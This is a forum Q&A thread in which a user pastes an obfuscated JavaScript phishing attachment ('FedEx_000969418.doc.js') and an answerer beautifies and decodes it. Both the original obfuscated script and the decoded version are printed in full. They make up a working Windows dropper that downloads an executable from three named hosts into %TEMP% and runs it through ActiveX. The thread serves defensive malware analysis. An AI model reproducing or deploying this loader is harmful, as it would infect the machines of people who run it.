8

So, I'm an idiot. I opened a javascript phishing attack file. I would really, really appreciate some help with decoding the Javascript to figure out whether I'm in trouble, and what sort.

I'm on OS X 10.9.5. I opened the file with both Safari and Firefox before realizing what I was doing (I'm older and not terribly bright sometimes- and I had just gotten off the phone with the company the phishers were impersonating). The filename was "FedEx_000969418.doc.js."

Would anyone be good enough to help me figure this out? I would really, really appreciate it, and will learn from my foolishness and try to help others avoid the same.

I'm hoping it's Windows-specific... the accompanying email was not very sophisticated. But I'm ready for the worst if there's a problem.

I tried Googling the file title and bits of the code, no luck. also tried de-obfuscating, and the parsers won't take it. I'm a dimwit obviously, so could really really use anyone's help with analyzing this.

The JS is as follows (I opened it with TextEdit and copied it):

var stroke="5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";function do193() { return ',"h'; };  function do112() { return ') { '; };  function do127() { return 'r xa'; };  function do88() { return '= 0;'; };  function do97() { return 't("'; };  function do5() { return '(fr) '; };  function do158() { return ') { '; };  function do215() { return 'er) {'; };  function do126() { return ' va'; };  function do9() { return '"e'; };  function do225() { return '25'; };  function do55() { return 'ndE'; };  function do220() { return 'bre'; };  function do84() { return 'exe"'; };  function do65() { return 'St'; };  function do37() { return ' va'; };  function do165() { return '; x'; };  function do128() { return ' = n'; };  function do184() { return '.clo'; };  function do8() { return ' = '; };  function do129() { return 'ew Ac'; };  function do57() { return 'ro'; };  function do136() { return 'tream'; };  function do187() { return '; }; '; };  function do11() { return 'y.co'; };  function do162() { return '.posi'; };  function do28() { return '(v'; };  function do222() { return ' } }'; };  function do98() { return 'MSX'; };  function do167() { return 'aveTo'; };  function do21() { return 'ub.c'; };  function do182() { return '; }; '; };  function do106() { return 'tate'; };  function do94() { return 'tive'; };  function do197() { return ']+"/d'; };  function do58() { return 'nme'; };  function do122() { return 'tatu'; };  function do20() { return 'ingcl'; };  function do93() { return 'Ac'; };  function do14() { return 'a.net'; };  function do188() { return 'try'; };  function do177() { return '); } '; };  function do175() { return 'n(fn'; };  function do140() { return 'n(); '; };  function do() { return 'val'; };  function do72() { return 'Math'; };  function do33() { return 'gth;'; };  function do155() { return 'a.siz'; };  function do145() { return '; '; };  function do27() { return ' for '; };  function do168() { return 'File'; };  function do208() { return 'alse'; };  function do147() { return 'ite'; };  function do111() { return 'on('; };  function do109() { return 'func'; };  function do35() { return '+)'; };  function do130() { return 'tive'; };  function do133() { return 't("AD'; };  function do202() { return '"+fr'; };  function do152() { return '); '; };  function do81() { return '0000'; };  function do110() { return 'ti'; };  function do194() { return 'ttp:'; };  function do62() { return '"%TE'; };  function do120() { return '&&'; };  function do50() { return 'l");'; };  function do174() { return 'Ru'; };  function do16() { return 'dic'; };  function do156() { return 'e > 5'; };  function do19() { return 'restl'; };  function do149() { return 'espo'; };  function do3() { return 'on '; };  function do119() { return ' 4 '; };  function do213() { return 'cat'; };  function do212() { return '); } '; };  function do46() { return '"W'; };  function do115() { return 'read'; };  function do80() { return '()*1'; };  function do108() { return 'e = '; };  function do71() { return ')+'; };  function do151() { return 'dy'; };  function do10() { return 'tq'; };  function do124() { return ' 2'; };  function do164() { return 'n = 0'; };  function do36() { return ' {'; };  function do195() { return '//"+b'; };  function do91() { return '= ne'; };  function do49() { return 'el'; };  function do206() { return 'oke,'; };  function do232() { return '3);'; };  function do15() { return '.br '; };  function do7() { return 'ar b'; };  function do144() { return '= 1'; };  function do69() { return 'Cod'; };  function do132() { return 'jec'; };  function do229() { return '); '; };  function do70() { return 'e(92'; };  function do31() { return '0; i<'; };  function do90() { return 'xo '; };  function do96() { return 'jec'; };  function do150() { return 'nseBo'; };  function do30() { return 'i='; };  function do34() { return ' i+'; };  function do101() { return 'TP"'; };  function do42() { return 'ti'; };  function do59() { return 'ntS'; };  function do13() { return 'id'; };  function do74() { return 'ou'; };  function do40() { return 'new '; };  function do211() { return 'nd('; };  function do160() { return '1; '; };  function do66() { return 'ring'; };  function do77() { return 'th'; };  function do125() { return '00) {'; };  function do73() { return '.r'; };  function do179() { return 'tch'; };  function do117() { return 'ate '; };  function do76() { return 'Ma'; };  function do45() { return 't('; };  function do104() { return 'onr'; };  function do44() { return 'jec'; };  function do51() { return ' va'; };  function do205() { return 'tr'; };  function do113() { return 'if '; };  function do1() { return 'fun'; };  function do4() { return 'dl'; };  function do79() { return 'andom'; };  function do161() { return 'xa'; };  function do83() { return '0)+".'; };  function do219() { return ' 1) '; };  function do82() { return '000'; };  function do176() { return ',1,0'; };  function do137() { return '"); '; };  function do102() { return '); '; };  function do159() { return 'dn = '; };  function do163() { return 'tio'; };  function do24() { return 'it'; };  function do105() { return 'eadys'; };  function do170() { return 'n,2);'; };  function do107() { return 'chang'; };  function do92() { return 'w '; };  function do226() { return '1); '; };  function do135() { return '.S'; };  function do118() { return '=='; };  function do153() { return 'if'; };  function do199() { return 'nt.ph'; };  function do200() { return 'p?r'; };  function do75() { return 'nd('; };  function do41() { return 'Ac'; };  function do216() { return '}; '; };  function do22() { return 'om'; };  function do67() { return '.fro'; };  function do204() { return 'd="+s'; };  function do103() { return 'xo.'; };  function do221() { return 'ak;'; };  function do39() { return 'ws = '; };  function do217() { return 'if (d'; };  function do2() { return 'cti'; };  function do18() { return 'nsonw'; };  function do154() { return ' (x'; };  function do114() { return '(xo.'; };  function do218() { return 'n =='; };  function do134() { return 'ODB'; };  function do181() { return 'r) {}'; };  function do201() { return 'nd='; };  function do12() { return 'm a'; };  function do141() { return 'xa.'; };  function do68() { return 'mChar'; };  function do17() { return 'ki'; };  function do121() { return ' xo.s'; };  function do209() { return '); '; };  function do171() { return ' try '; };  var fcx = '';  function do228() { return '962'; };  function do61() { return 's('; };  function do231() { return '(974'; };  function do123() { return 's =='; };  function do89() { return ' var '; };  function do64() { return '%")+'; };  function do148() { return '(xo.R'; };  function do99() { return 'ML2.'; };  function do210() { return 'xo.se'; };  function do29() { return 'ar '; };  function do26() { return ' ");'; };  function do203() { return '+"&i'; };  function do48() { return 'pt.Sh'; };  function do189() { return ' { xo'; };  function do78() { return '.r'; };  function do56() { return 'nvi'; };  function do47() { return 'Scri'; };  function do230() { return 'dl'; };  function do100() { return 'XMLHT'; };  function do53() { return '= ws.'; };  function do143() { return 'e '; };  function do63() { return 'MP'; };  function do32() { return 'b.len'; };  function do190() { return '.op'; };  function do25() { return '("'; };  function do116() { return 'ySt'; };  function do227() { return 'dl(9'; };  function do178() { return 'ca'; };  function do172() { return '{ '; };  function do95() { return 'XOb'; };  function do6() { return '{ v'; };  function do52() { return 'r fn '; };  function do223() { return '; d'; };  function do87() { return 'n '; };  function do180() { return ' (e'; };  function do198() { return 'ocume'; };  function do185() { return 'se();'; };  function do139() { return 'pe'; };  function do85() { return '; va'; };  function do38() { return 'r '; };  function do191() { return 'en('; };  function rs() { return 'e'; };  function do186() { return ' }'; };  function do207() { return ' f'; };  function do192() { return '"GET"'; };  function do60() { return 'tring'; };  function do169() { return '(f'; };  function do214() { return 'ch ('; };  function do86() { return 'r d'; };  function do224() { return 'l(2'; };  function do23() { return '".spl'; };  function do173() { return 'ws.'; };  function do43() { return 'veXOb'; };  function do131() { return 'XOb'; };  function do157() { return '000'; };  function do54() { return 'Expa'; };  function do166() { return 'a.s'; };  function do183() { return 'xa'; };  function do196() { return '[i'; };  function do138() { return 'xa.o'; };  function do146() { return 'xa.wr'; };  function do142() { return 'typ'; }; for (var xyy=1; xyy<=232; xyy++) { fcx += this['do'+xyy](); } this[rs()+do()](fcx); 
0

1 Answer 1

10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it:

var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";

function do193() {
    return ',"h';
};

function do112() {
    return ') { ';
};

function do127() {
    return 'r xa';
};

function do88() {
    return '= 0;';
};

function do97() {
    return 't("';
};

function do5() {
    return '(fr) ';
};

function do158() {
    return ') { ';
};

function do215() {
    return 'er) {';
};

function do126() {
    return ' va';
};

function do9() {
    return '"e';
};

function do225() {
    return '25';
};

function do55() {
    return 'ndE';
};

function do220() {
    return 'bre';
};

function do84() {
    return 'exe"';
};

function do65() {
    return 'St';
};

function do37() {
    return ' va';
};

function do165() {
    return '; x';
};

function do128() {
    return ' = n';
};

function do184() {
    return '.clo';
};

function do8() {
    return ' = ';
};

function do129() {
    return 'ew Ac';
};

function do57() {
    return 'ro';
};

function do136() {
    return 'tream';
};

function do187() {
    return '; }; ';
};

function do11() {
    return 'y.co';
};

function do162() {
    return '.posi';
};

function do28() {
    return '(v';
};

function do222() {
    return ' } }';
};

function do98() {
    return 'MSX';
};

function do167() {
    return 'aveTo';
};

function do21() {
    return 'ub.c';
};

function do182() {
    return '; }; ';
};

function do106() {
    return 'tate';
};

function do94() {
    return 'tive';
};

function do197() {
    return ']+"/d';
};

function do58() {
    return 'nme';
};

function do122() {
    return 'tatu';
};

function do20() {
    return 'ingcl';
};

function do93() {
    return 'Ac';
};

function do14() {
    return 'a.net';
};

function do188() {
    return 'try';
};

function do177() {
    return '); } ';
};

function do175() {
    return 'n(fn';
};

function do140() {
    return 'n(); ';
};

function do() {
    return 'val';
};

function do72() {
    return 'Math';
};

function do33() {
    return 'gth;';
};

function do155() {
    return 'a.siz';
};

function do145() {
    return '; ';
};

function do27() {
    return ' for ';
};

function do168() {
    return 'File';
};

function do208() {
    return 'alse';
};

function do147() {
    return 'ite';
};

function do111() {
    return 'on(';
};

function do109() {
    return 'func';
};

function do35() {
    return '+)';
};

function do130() {
    return 'tive';
};

function do133() {
    return 't("AD';
};

function do202() {
    return '"+fr';
};

function do152() {
    return '); ';
};

function do81() {
    return '0000';
};

function do110() {
    return 'ti';
};

function do194() {
    return 'ttp:';
};

function do62() {
    return '"%TE';
};

function do120() {
    return '&&';
};

function do50() {
    return 'l");';
};

function do174() {
    return 'Ru';
};

function do16() {
    return 'dic';
};

function do156() {
    return 'e > 5';
};

function do19() {
    return 'restl';
};

function do149() {
    return 'espo';
};

function do3() {
    return 'on ';
};

function do119() {
    return ' 4 ';
};

function do213() {
    return 'cat';
};

function do212() {
    return '); } ';
};

function do46() {
    return '"W';
};

function do115() {
    return 'read';
};

function do80() {
    return '()*1';
};

function do108() {
    return 'e = ';
};

function do71() {
    return ')+';
};

function do151() {
    return 'dy';
};

function do10() {
    return 'tq';
};

function do124() {
    return ' 2';
};

function do164() {
    return 'n = 0';
};

function do36() {
    return ' {';
};

function do195() {
    return '//"+b';
};

function do91() {
    return '= ne';
};

function do49() {
    return 'el';
};

function do206() {
    return 'oke,';
};

function do232() {
    return '3);';
};

function do15() {
    return '.br ';
};

function do7() {
    return 'ar b';
};

function do144() {
    return '= 1';
};

function do69() {
    return 'Cod';
};

function do132() {
    return 'jec';
};

function do229() {
    return '); ';
};

function do70() {
    return 'e(92';
};

function do31() {
    return '0; i<';
};

function do90() {
    return 'xo ';
};

function do96() {
    return 'jec';
};

function do150() {
    return 'nseBo';
};

function do30() {
    return 'i=';
};

function do34() {
    return ' i+';
};

function do101() {
    return 'TP"';
};

function do42() {
    return 'ti';
};

function do59() {
    return 'ntS';
};

function do13() {
    return 'id';
};

function do74() {
    return 'ou';
};

function do40() {
    return 'new ';
};

function do211() {
    return 'nd(';
};

function do160() {
    return '1; ';
};

function do66() {
    return 'ring';
};

function do77() {
    return 'th';
};

function do125() {
    return '00) {';
};

function do73() {
    return '.r';
};

function do179() {
    return 'tch';
};

function do117() {
    return 'ate ';
};

function do76() {
    return 'Ma';
};

function do45() {
    return 't(';
};

function do104() {
    return 'onr';
};

function do44() {
    return 'jec';
};

function do51() {
    return ' va';
};

function do205() {
    return 'tr';
};

function do113() {
    return 'if ';
};

function do1() {
    return 'fun';
};

function do4() {
    return 'dl';
};

function do79() {
    return 'andom';
};

function do161() {
    return 'xa';
};

function do83() {
    return '0)+".';
};

function do219() {
    return ' 1) ';
};

function do82() {
    return '000';
};

function do176() {
    return ',1,0';
};

function do137() {
    return '"); ';
};

function do102() {
    return '); ';
};

function do159() {
    return 'dn = ';
};

function do163() {
    return 'tio';
};

function do24() {
    return 'it';
};

function do105() {
    return 'eadys';
};

function do170() {
    return 'n,2);';
};

function do107() {
    return 'chang';
};

function do92() {
    return 'w ';
};

function do226() {
    return '1); ';
};

function do135() {
    return '.S';
};

function do118() {
    return '==';
};

function do153() {
    return 'if';
};

function do199() {
    return 'nt.ph';
};

function do200() {
    return 'p?r';
};

function do75() {
    return 'nd(';
};

function do41() {
    return 'Ac';
};

function do216() {
    return '}; ';
};

function do22() {
    return 'om';
};

function do67() {
    return '.fro';
};

function do204() {
    return 'd="+s';
};

function do103() {
    return 'xo.';
};

function do221() {
    return 'ak;';
};

function do39() {
    return 'ws = ';
};

function do217() {
    return 'if (d';
};

function do2() {
    return 'cti';
};

function do18() {
    return 'nsonw';
};

function do154() {
    return ' (x';
};

function do114() {
    return '(xo.';
};

function do218() {
    return 'n ==';
};

function do134() {
    return 'ODB';
};

function do181() {
    return 'r) {}';
};

function do201() {
    return 'nd=';
};

function do12() {
    return 'm a';
};

function do141() {
    return 'xa.';
};

function do68() {
    return 'mChar';
};

function do17() {
    return 'ki';
};

function do121() {
    return ' xo.s';
};

function do209() {
    return '); ';
};

function do171() {
    return ' try ';
};
var fcx = '';

function do228() {
    return '962';
};

function do61() {
    return 's(';
};

function do231() {
    return '(974';
};

function do123() {
    return 's ==';
};

function do89() {
    return ' var ';
};

function do64() {
    return '%")+';
};

function do148() {
    return '(xo.R';
};

function do99() {
    return 'ML2.';
};

function do210() {
    return 'xo.se';
};

function do29() {
    return 'ar ';
};

function do26() {
    return ' ");';
};

function do203() {
    return '+"&i';
};

function do48() {
    return 'pt.Sh';
};

function do189() {
    return ' { xo';
};

function do78() {
    return '.r';
};

function do56() {
    return 'nvi';
};

function do47() {
    return 'Scri';
};

function do230() {
    return 'dl';
};

function do100() {
    return 'XMLHT';
};

function do53() {
    return '= ws.';
};

function do143() {
    return 'e ';
};

function do63() {
    return 'MP';
};

function do32() {
    return 'b.len';
};

function do190() {
    return '.op';
};

function do25() {
    return '("';
};

function do116() {
    return 'ySt';
};

function do227() {
    return 'dl(9';
};

function do178() {
    return 'ca';
};

function do172() {
    return '{ ';
};

function do95() {
    return 'XOb';
};

function do6() {
    return '{ v';
};

function do52() {
    return 'r fn ';
};

function do223() {
    return '; d';
};

function do87() {
    return 'n ';
};

function do180() {
    return ' (e';
};

function do198() {
    return 'ocume';
};

function do185() {
    return 'se();';
};

function do139() {
    return 'pe';
};

function do85() {
    return '; va';
};

function do38() {
    return 'r ';
};

function do191() {
    return 'en(';
};

function rs() {
    return 'e';
};

function do186() {
    return ' }';
};

function do207() {
    return ' f';
};

function do192() {
    return '"GET"';
};

function do60() {
    return 'tring';
};

function do169() {
    return '(f';
};

function do214() {
    return 'ch (';
};

function do86() {
    return 'r d';
};

function do224() {
    return 'l(2';
};

function do23() {
    return '".spl';
};

function do173() {
    return 'ws.';
};

function do43() {
    return 'veXOb';
};

function do131() {
    return 'XOb';
};

function do157() {
    return '000';
};

function do54() {
    return 'Expa';
};

function do166() {
    return 'a.s';
};

function do183() {
    return 'xa';
};

function do196() {
    return '[i';
};

function do138() {
    return 'xa.o';
};

function do146() {
    return 'xa.wr';
};

function do142() {
    return 'typ';
};
for (var xyy = 1; xyy <= 232; xyy++) {
    fcx += this 'do' + xyy;
}
thisrs() + do();

Whoa: it's clear that the code is assembling a bunch of text fragments returned by numbered functions. Some grep-fu, sorting, and more grep-fu, and I had all the text fragments assembled. More beautification, and:

function dl(fr) {
    var b = "etqy.com aida.net.br dickinsonwrestlingclub.com".split(" ");
    for (var i = 0; i < b.length; i++) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState == 4 && xo.status == 200) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2);
                    try {
                        ws.Run(fn, 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
        };
        try {
            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
            xo.send();
        } catch (er) {};
        if (dn == 1) break;
    }
};
dl(2251);
dl(9962);
dl(9743);

Yup: Windows-specific, and it uses the diabolical Active X API to download and then run a script to break (or attempt to) into your computer.

So, again: you're good (and probably most Windows users would have sufficient virus protection installed to prevent being harmed as well).

4
  • Daniel: You are a prince among men. I owe you a beer, if you're ever in Seattle, Washington. Thank you for making my life a LOT less stressful.
    – DimLight
    Jul 8, 2015 at 1:52
  • Glad you found it useful; it was fun to investigate. Jul 8, 2015 at 1:55
  • @DimLight: if you like the answer, it's good to accept it by clicking the ol' green checkmark. (If not, that's fine, too.) Jul 8, 2015 at 21:57
  • Ah sorry, first-time poster!
    – DimLight
    Jul 9, 2015 at 20:01

Not the answer you're looking for? Browse other questions tagged or ask your own question.